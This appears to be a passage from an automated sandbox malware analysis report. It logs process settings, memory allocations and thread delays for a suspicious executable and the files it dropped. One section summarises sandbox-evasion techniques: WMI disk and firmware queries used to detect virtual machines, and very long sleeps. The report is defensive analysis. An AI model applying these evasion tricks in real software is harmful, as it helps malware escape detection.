Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

System information queried: FirmwareTableInformation

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Memory allocated: 1DFA7BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Memory allocated: 1DFC1510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory allocated: 1D099EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory allocated: 1D0B36C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Memory allocated: 2A5B9950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Memory allocated: 2A5D3550000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Code function: 1_2_00007FFD9B8B31D4 sldt word ptr [eax]

1_2_00007FFD9B8B31D4

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199955	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199718	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1198910	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 599777	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598871	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598761	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598652	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 597708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 597543	Jump to behavior

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Window / User API: threadDelayed 3692			Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Window / User API: threadDelayed 6002			Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe TID: 7336	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59871s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -58999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7388	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -1199955s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -1199828s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -1199718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -1198910s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -599886s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -599777s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59867s >= -30000s	Jump to behavior
